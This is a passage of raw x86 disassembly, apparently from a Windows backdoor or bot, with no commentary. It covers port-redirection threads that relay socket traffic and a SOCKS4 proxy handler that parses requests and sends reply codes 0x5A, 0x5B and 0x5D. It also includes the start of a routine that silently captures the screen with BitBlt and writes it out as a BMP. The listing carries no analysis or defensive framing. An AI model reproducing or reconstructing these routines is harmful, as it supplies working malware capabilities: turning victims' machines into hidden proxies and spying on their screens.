		push	eax
		call	esi	; Sleep
		jmp	short loc_40798E
; ---------------------------------------------------------------------------

loc_40796F:				; CODE XREF: sub_4077CC+1AAj
		push	1Eh
		call	esi	; Sleep

loc_407973:				; CODE XREF: sub_4077CC+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40796F
		jmp	short loc_40794E
; ---------------------------------------------------------------------------

loc_40797A:				; CODE XREF: sub_4077CC+1C0j
		push	7D0h
		call	esi	; Sleep

loc_407981:				; CODE XREF: sub_4077CC+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_43BD14[eax*8], 1
		jz	short loc_40797A

loc_40798E:				; CODE XREF: sub_4077CC+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43BD10[eax*8]
		push	eax
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_42A548
		push	eax
		call	sub_416FB6
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_4079DC
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D476
		add	esp, 14h

loc_4079DC:				; CODE XREF: sub_4077CC+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BD8D
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_43BD14[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_416CBC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407A13
		push	offset dword_43CCB0
		call	dword_4230D0	; RtlDeleteCriticalSection

loc_407A13:				; CODE XREF: sub_4077CC+23Aj
		push	[ebp+var_2C]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_4077CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407A23	proc near		; DATA XREF: sub_40EC43+3698o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		xor	edi, edi
		push	10h
		inc	edi
		pop	ebx
		mov	[eax+120h], edi
		xor	esi, esi
		push	ebx
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43EB24	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43EBA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407B86
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_444574[eax], ebx
		call	dword_43EA40	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43EB50	; bind
		test	eax, eax
		jnz	loc_407B86
		push	0Ah
		push	ebx
		call	dword_43EB4C	; listen
		test	eax, eax
		jnz	loc_407B86

loc_407ACD:				; CODE XREF: sub_407A23+BEj
					; sub_407A23+15Ej
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43EBB8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407ACD
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42A6E8
		push	eax
		call	sub_416FB6
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416A7A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_44456C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407BAA
		push	esi
		push	esi
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44457C[ecx], eax
		jnz	short loc_407B7C
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A698
		call	sub_40BE01
		pop	ecx
		pop	ecx
		jmp	short loc_407B89
; ---------------------------------------------------------------------------

loc_407B74:				; CODE XREF: sub_407A23+15Cj
		push	32h
		call	dword_423064	; Sleep

loc_407B7C:				; CODE XREF: sub_407A23+13Aj
		cmp	[ebp+var_2C], esi
		jz	short loc_407B74
		jmp	loc_407ACD
; ---------------------------------------------------------------------------

loc_407B86:				; CODE XREF: sub_407A23+61j
					; sub_407A23+93j ...
		mov	edi, [ebp+arg_0]

loc_407B89:				; CODE XREF: sub_407A23+14Fj
		push	edi
		call	dword_43EBBC	; closesocket
		push	ebx
		call	dword_43EBBC	; closesocket
		push	[ebp+var_3C]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407A23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407BAA	proc near		; DATA XREF: sub_407A23+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_43EBA4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407D0D
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43EB24	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407C3A
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43EBA8	; gethostbyname
		jmp	short loc_407C48
; ---------------------------------------------------------------------------

loc_407C3A:				; CODE XREF: sub_407BAA+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43EADC	; gethostbyaddr

loc_407C48:				; CODE XREF: sub_407BAA+8Ej
		cmp	eax, edi
		jz	loc_407D0D
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407D0D
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42A790
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_416A7A
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_444574[ebx]
		mov	dword_44456C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_444578[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407D92
		push	edi
		push	edi
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_44457C[ecx], eax
		jnz	short loc_407D46
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A740
		call	sub_40BE01
		pop	ecx
		pop	ecx

loc_407D0D:				; CODE XREF: sub_407BAA+44j
					; sub_407BAA+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_444574[eax]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_4]
		call	sub_416D90
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx

loc_407D3E:				; CODE XREF: sub_407BAA+19Fj
		push	32h
		call	dword_423064	; Sleep

loc_407D46:				; CODE XREF: sub_407BAA+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_407D3E
		mov	ebx, 1000h

loc_407D50:				; CODE XREF: sub_407BAA+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43EB3C	; recv
		cmp	eax, edi
		jle	short loc_407D0D
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407D50
		jmp	loc_407D0D
sub_407BAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D92	proc near		; DATA XREF: sub_407BAA+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407DC9:				; CODE XREF: sub_407D92+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_444578[esi]
		call	dword_43EB3C	; recv
		test	eax, eax
		jle	short loc_407E10
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_444574[esi]
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407DC9

loc_407E10:				; CODE XREF: sub_407D92+61j
		push	dword_444578[esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_14]
		call	sub_416D90
		pop	ecx
		push	0
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_407D92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E2F	proc near		; DATA XREF: sub_40EC43+5E39o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43EB24	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43EBA4	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_444574[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43EB50	; bind
		test	eax, eax
		jnz	loc_407FD0
		push	0Ah
		push	edi
		call	dword_43EB4C	; listen
		test	eax, eax
		jnz	loc_407FD0
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42A8CC
		push	eax
		call	sub_416FB6
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_407F0A
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D476
		add	esp, 14h

loc_407F0A:				; CODE XREF: sub_407E2F+B9j
					; sub_407E2F+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43EBB8	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42A870
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416A7A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_44456C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_408033
		push	esi
		push	esi
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44457C[ecx], eax
		jnz	short loc_407FC6
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42A828
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	loc_407F0A
; ---------------------------------------------------------------------------

loc_407FBE:				; CODE XREF: sub_407E2F+19Aj
		push	5
		call	dword_423064	; Sleep

loc_407FC6:				; CODE XREF: sub_407E2F+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_407FBE
		jmp	loc_407F0A
; ---------------------------------------------------------------------------

loc_407FD0:				; CODE XREF: sub_407E2F+7Bj
					; sub_407E2F+8Cj
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42A7E4
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_408013
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D476
		add	esp, 14h

loc_408013:				; CODE XREF: sub_407E2F+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_3C]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407E2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408033	proc near		; DATA XREF: sub_407E2F+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_444574[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43EB0C	; select
		test	eax, eax
		jnz	short loc_4080B4
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_4080B4:				; CODE XREF: sub_408033+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43EB3C	; recv
		test	eax, eax
		jg	short loc_4080E5
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_4080E5:				; CODE XREF: sub_408033+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4082DF
		cmp	[ebp+var_4CF], 1
		jnz	loc_4082DF
		cmp	[ebp+var_44], bl
		jz	short loc_40817B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40817B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42A9A8
		call	sub_40BE01
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417030
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43EB74	; send
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_40817B:				; CODE XREF: sub_408033+CFj
					; sub_408033+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417030
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43EBA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_408213
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		push	offset unk_42A958
		call	sub_40BE01
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417030
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43EB74	; send
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_408213:				; CODE XREF: sub_408033+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408282
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		push	offset unk_42A908
		call	sub_40BE01
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417030
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43EB74	; send
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_408282:				; CODE XREF: sub_408033+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43EB74	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4082F7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_4082DF:				; CODE XREF: sub_408033+B9j
					; sub_408033+C6j
		push	dword ptr [esi]
		call	dword_43EBBC	; closesocket
		push	[ebp+arg_0]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_408033	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082F7	proc near		; CODE XREF: sub_408033+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_40830D:				; CODE XREF: sub_4082F7+BEj
					; sub_4082F7+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx

loc_40831E:				; CODE XREF: sub_4082F7+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_40832F
		inc	eax
		cmp	eax, ecx
		jb	short loc_40831E

loc_40832F:				; CODE XREF: sub_4082F7+31j
		cmp	eax, ecx
		jnz	short loc_408343
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408343:				; CODE XREF: sub_4082F7+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43EB0C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43EA1C	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4083A3
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4083EB
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4083EB

loc_4083A3:				; CODE XREF: sub_4082F7+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EA1C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40830D
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4083EB
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40830D

loc_4083EB:				; CODE XREF: sub_4082F7+93j
					; sub_4082F7+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4082F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083F0	proc near		; CODE XREF: sub_40EC43+4565p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43EB10	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_408624
		push	8
		push	edi
		call	dword_43EB2C	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43EB2C	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43EB2C	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408452
		push	18h
		push	edi
		call	dword_43EB2C	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_408454
; ---------------------------------------------------------------------------

loc_408452:				; CODE XREF: sub_4083F0+50j
		xor	ebx, ebx

loc_408454:				; CODE XREF: sub_4083F0+60j
		push	edi
		call	dword_43EB70	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_408609
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43EB68	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_408614
		push	eax
		push	[ebp+var_4]
		call	dword_43EA00	; SelectObject
		cmp	eax, esi
		jz	loc_408614
		cmp	eax, 0FFFFFFFFh
		jz	loc_408614
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43EB6C	; BitBlt
		test	eax, eax
		jz	loc_408614
		cmp	ebx, esi
		jz	short loc_408511
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43EA54	; GetDIBColorTable
		mov	ebx, eax

loc_408511:				; CODE XREF: sub_4083F0+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
